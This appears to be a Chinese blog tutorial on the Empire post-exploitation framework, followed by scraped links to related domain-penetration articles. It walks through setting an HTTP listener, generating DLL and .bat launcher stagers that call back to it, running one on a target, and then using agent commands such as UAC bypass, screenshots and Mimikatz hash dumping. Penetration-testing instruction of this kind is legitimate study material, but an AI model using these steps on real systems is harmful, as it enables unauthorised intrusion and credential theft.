Empire 是一款类似Metasploit 的渗透测试框架,基于python 编写,Empire是一个纯粹的PowerShell 后开发代理,建立在密码安全通信和灵活的架构上。Empire 实现了无需powershell.exe 即可运行PowerShell 代理的功能,从键盘记录器到Mimikatz 等快速部署的后期开发模块,以及适应性通信以避开网络检测,所有这些都包含在以可用性为重点的框架中。

0x01 首先是下载、安装

Github:https://github.com/EmpireProject/Empire

不喜欢用命令的同学可以去安装一个GUI界面的,也是国外大牛用php写的一个web界面

Github:https://github.com/interference-security/empire-web

下载

安装

打开Empire

0x02 基本使用

help命令查看具体帮助

Agents—— 未来回连的靶机;

creds—— 便是数据库中写入的各类凭据(主要为口令一类);

interacrt——与现有agents宝宝们交互(实际并非一个交互性shell,Empire其实类似一款http/https仿造浏览器请求侦察与控守混合型木马,通道隐藏性较好可惜牺牲了流量,wireshark抓包你会发现核心防火墙上的request包流浪有多么恐怖~);

list—— 后跟listeners或agents列出当前活跃的监听器或服务端宝宝;

listeners—— 进入监听器设置接口;

load—— 加载自定义模块或其他扩展模块接口(默认为empire当前目录);

plugin—— 加载自定义插件或其他扩展插件;

 plugins—— 列出所有载入的插件列表; 

preobfuscate——预混淆功能。食之无味,弃之可惜,谓之鸡肋。还是介绍一下,需要在系统上预装wine和powershell,但是wine本身的不稳定,笔者也不知道怎么去描述这个功能的设计目的了。预混淆顾名思义就是预先对所有加入了该功能接口的脚本执行混淆操作,增强其后渗透阶段免杀能力,不过,笔者表示懒得去用;

reload—— 同MSFreload功能;

report—— 输出报告;

reset—— 重置ip黑白名单、混淆项目等;

resource—— 批量导入empire命令执行;

searchmodule—— 模块关键词搜索(命令行界面优于GUI界面);

set—— 设置ip黑白名单、混淆项目等;

show—— 查看当前框架设置,也就是set默认值;

usemodule—— 使用某一模块;

usestager—— 使用某一载荷。

Listeners

首先你要建立一个本地的Listener,listeners命令将跳到listener管理菜单。你可以随时使用list命令列出被激活的listener。Info命令将显示当前listener配置的选项。

listener之后空格加敲2下TAB列出可供使用的监听器,然后基于我们的需求选择所需要配置的监听器:

这里我们首先选择http,每个监听器具体功能可进入该监听器模块而后info显示进行阅读。

使用set命令设置Host/Port参数,可以直接使用域名。

(Empire: listeners/http) > set Name shuteer
(Empire: listeners/http) > set Host 192.168.190.141
(Empire: listeners/http) > execute

Back命令即可返回上一层 list命令可以列出当前激活的listener,kill命令可以删除该监听。

0x03 生成木马

Stagers 

Empire在./lib/stagers/*里实现了多个模块化的stagers。包含有dlls,macros,one-liners等等。使用usestager <tab>列出所有可用的stagers。

multi模块为通用模块,osx是Mac操作系统的模块,剩下的就是windows的模块

1)DLL

dll 进程注入马应该是平日里用的最多的方式了,输入usestagerwindows/dll 的命令,然后输入info 命令来查看详细参数

(Empire: listeners) > usestager windows/dll
(Empire: stager/windows/dll) > info

这里我们设置一下Listener,然后执行execute命令,就会在tmp目录下生成launcher.dll的木马

(Empire: stager/windows/dll) > set Listener shuteer
(Empire: stager/windows/dll) > execute

然后将launcher.dll在目标主机上运行后,就会成功上线。

注意:当然也可以用于NSA方程式工具当中的双重脉冲SMB后门,毕竟最开始Empire被广泛关注就是结合NSA后门程序反弹shell利用的Youtube视频。

2)launcher相关

如果只是需要简单的powershell代码,在设置完相应模块后,可以直接在监听器菜单中键入“launcher<language> <listenerName>”,自动生成一行base64编码后的PowerShell代码。

最后返回键入launcherpowershell My@Empire命令来生成一个Payload,放置到目标主机执行即可。

(Empire: listeners) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > info

生成

(Empire: stager/windows/launcher_bat) > set Listener shuteer
(Empire: stager/windows/launcher_bat) > execute

[*] Stager output written out to: /tmp/launcher.bat

目标机执行

可以看到base64编码代码

成功反弹监听会话,agents查看反弹的会话,和msf的sessions差不多

0X04 交互阶段

interact命令来进行交互

(Empire: agents) > interact NTGZWASR
(Empire: NTGZWASR) > whoami
[*] Tasked NTGZWASR to run TASK_SHELL
[*] Agent NTGZWASR tasked with task ID
(Empire: NTGZWASR) > [*] Agent NTGZWASR returned results.
PC-\Administrator

help命令可以查看agent中可以使用哪些命令

Bypassuac命令

顾名思义就是绕过uac的。除非你是本机的administrator,否则普通管理员都需要右键某个程序,然后选择run as administrator才能运行,这都是uac作的怪。
因为这里是用普通域用户权限执行的,连本机的普通管理员都不算,所以失败了。

sc命令 屏幕截图

mimikatz命令 抓hash

upload download命令不用多说了

初识域渗透利器Empire的更多相关文章

  1. Metasploit域渗透测试全程实录(终结篇)

    本文作者:i春秋签约作家——shuteer 前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里.于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴 ...

  2. 初级AD域渗透系列

      net group /domain 获得所有域用户组列表 net group “domain admins” /domain 获得域管理员列表 net group “enterprise admi ...

  3. 域渗透基础之NTLM认证协议

    域渗透基础的两个认证协议ntlm和Kerberos协议是必须总结的~ 这篇简单总结下ntlm协议 晚上写下kerberos 0x01 NTLM简介 NTLM使用在Windows NT和Windows ...

  4. 域渗透:SPN(ServicePrincipal Names)的利用

    SPN 简介:服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP.MSSQL)的唯一标识符.Kerberos 身份验证使用 SPN 将服 ...

  5. 域渗透复盘(安洵CTF线下)

    复盘线下域渗透环境Write Up 0x01 外网web到DMZ进域 外网web入口 joomla应用   192.168.0.5 反序列化打下来 GET /index.php HTTP/1.1 Ho ...

  6. AD域渗透总结

    域渗透总结 学习并做了一段时间域网络渗透,给我直观的感受就是思路问题和耐心,这个不像技术研究,需要对一个点进行研究,而是遇到问题后要从多个方面思考,寻找"捷径"思路,只要思路正确, ...

  7. 内网域渗透之MS14-068复现(CVE-2014-6324)

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

  8. 内网域渗透之MS14-068复现

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

  9. 域渗透-Kerberos身份验证流程

    域渗透-Kerberos身份验证流程 Kerberos协议框架 在 Kerberos 协议中主要是有三个角色的存在: 1. 访问服务的 Client: 2. 提供服务的 Server: 3.KDC(K ...

随机推荐

  1. SpringBoot系列——Security + Layui实现一套权限管理后台模板

    前言 Spring Security官网:https://spring.io/projects/spring-security Spring Security是一个功能强大且高度可定制的身份验证和访问 ...

  2. 漫谈Java中的OOPS

    什么是OOPS? 面向对象编程是一种编程概念,其工作原理是对象是程序中最重要的部分.它允许用户创建他们想要的对象,然后创建处理这些对象的方法.操作这些对象以获得结果是面向对象编程的目标. 面向对象编程 ...

  3. SpringBoot区块链之以太坊开发(整合Web3j)

    最近公司需要ETH兑换功能,ETH转账需要区块打包,这个时候就需要区块检测,目前只是简单整合,后面会将区块自动检测代码上传致QQ群 对于区块链开发不太熟悉的童鞋,可以看看:[区块链开发(零)如何开始学 ...

  4. 《Maven实战》读书笔记

    一.Maven使用入门 POM(Project Object Model,项目对象模型),定义了项目的基本信息,用于描述项目如何构建,声明项目依赖等等 二.坐标和依赖 1.何为Maven坐标 Mave ...

  5. java.lang.IllegalArgumentException: System memory 259522560 must be at least 471859200.

    报错信息 java.lang.IllegalArgumentException: System memory 259522560 must be at least 471859200. Please ...

  6. Properties -IO相关的双列集合类

    IO相关的集合类 java.util.Properties集合 extends hashtable(淘汰) Properties类表示了一个持久的属性集.Properties可保存流中或从流中加载 P ...

  7. 规模、性能、弹性全面升级,让天下没有难用的 K8s

    作者 | 汤志敏 阿里云容器服务开发负责人 Kubernetes 是云原生时代的基础设施.云上的分布式操作系统. 9 月 26 日云栖大会容器专场,在<拐点已至,云原生引领数字化转型升级> ...

  8. Android Studio [页面的跳转和传值]

    AActivity.java package com.xdw.a122.jump; import android.app.Activity; import android.content.Compon ...

  9. Spring MVC 梳理 - handlerMapping和handlerAdapter分析

    参考图片 综上所述我们来猜测一下spring mvc 中根据URL找到处理器Controller中相应方法的流程 ①:获取Request的URL ②:从UrlLookup这个map中找到相应的requ ...

  10. Android组件化路由实践

    Android应用组件化各个组件页面之间要实现跳转使用路由是一个很好的选择.本文将实现一个比较轻量级的路由组件,主要涉及以下知识: Annotation (声明路由目标信息) AnnotationPr ...